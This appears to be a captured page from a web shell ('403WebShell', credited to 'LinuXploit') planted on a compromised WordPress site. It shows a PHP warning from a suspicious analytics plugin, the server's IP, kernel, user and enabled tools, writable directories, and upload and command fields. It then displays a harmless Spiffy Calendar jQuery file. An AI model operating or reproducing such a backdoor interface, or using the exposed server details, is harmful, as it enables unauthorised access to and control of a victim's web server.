Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/spiffy-calendar/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/spiffy-calendar/js/spiffy_frontend_utility.js
/*
**	Spiffy Calendar utility scripts on front end
**
**  Version 2.0
*/

jQuery(document).ready(function($){
	// Maintain scroll position
	if (sessionStorage.scrollTop != "undefined") {
		$(window).scrollTop(sessionStorage.scrollTop);
		sessionStorage.scrollTop = 0;
	}
	

	
	// Toggle grid/list on full calendar display
	$( ".calendar-toggle-button" ).on( "click", function () {
		if ($(".calendar-toggle-button").text() == $(".calendar-toggle-button").attr('data-list')) {
			//
			// Toggling to list mode
			//
			$(".calendar-toggle-button").text($(".calendar-toggle-button").attr('data-grid'));
			$(".spiffy.bigcal").addClass("spiffy-listed");
			$("<span class='spiffy-month-name'></span>" ).insertBefore( ".spiffy.bigcal .day-number" );
			$(".spiffy-month-name").text($(".calendar-toggle-button").attr('data-month'));
			$("[name='grid-list-toggle']").val('list');
			$("a.spiffy-calendar-arrow").attr('href', function(i,a){ 
				return a.replace( /(grid-list-toggle=)[a-z]+/ig, '$1'+'list' );	
			});
		} else {
			//
			// Toggling to grid mode
			//
			$(".calendar-toggle-button").text($(".calendar-toggle-button").attr('data-list'));
			$(".spiffy-month-name").remove();
			$(".spiffy.bigcal").removeClass("spiffy-listed");			
			$("[name='grid-list-toggle']").val('grid');
			$("a.spiffy-calendar-arrow").attr('href', function(i,a){ 
				return a.replace( /(grid-list-toggle=)[a-z]+/ig, '$1'+'grid' );	
			});
		}
	});
	
	// Category filter
	$(".spiffy-category-filter-button").on( "click", function () {
		$the_cat = $(this).attr('data-category');
		if ($(this).hasClass("spiffy-active")) {
			// Turn off the category filter
			$(".spiffy-category-filter-button").removeClass("spiffy-active");
			$(".spiffy-category-filter-button").removeClass("spiffy-inactive");		
			$('[class^="calnk category_"]').removeClass("spiffy-inactive");
			$(".category_"+$the_cat).removeClass("spiffy-active");
			$(".spiffy.bigcal").removeClass("spiffy-filtered");			
			
		} else {
			// Turn on the category filter
			$(".spiffy-category-filter-button").addClass("spiffy-inactive");			
			$(this).removeClass("spiffy-inactive");			
			$(this).addClass("spiffy-active");			
			$('[class^="calnk category_"]').removeClass("spiffy-active").addClass("spiffy-inactive");
			$(".category_"+$the_cat).removeClass("spiffy-inactive").addClass("spiffy-active");
			$(".spiffy.bigcal").addClass("spiffy-filtered");			
		}
		
		// Mark date so it can be hidden on this listed calendar style if all events below are inactive
		$(".day-with-date").each(function() {
			if ($(this).find(".spiffy-active").length !== 0) {
				$(this).removeClass("spiffy-inactive");		// filter is on and this date has active events
			} else if ($(this).find(".spiffy-inactive").length !== 0) {
				$(this).addClass("spiffy-inactive");		// filter is on and this date has no active events			
			} else {
				$(this).removeClass("spiffy-inactive");		// filter is off
			}
		});
	});
	
	// Show custom field headings if followed by field data
	$('[class*="spiffy-custom-field-view-"]').prev().css( "display", "block" );
	
});


// Support hover/click on iOS
jQuery( document.body ).on( 'touchstart', function( e ) {
});

Youez - 2016 - github.com/yon3zu
LinuXploit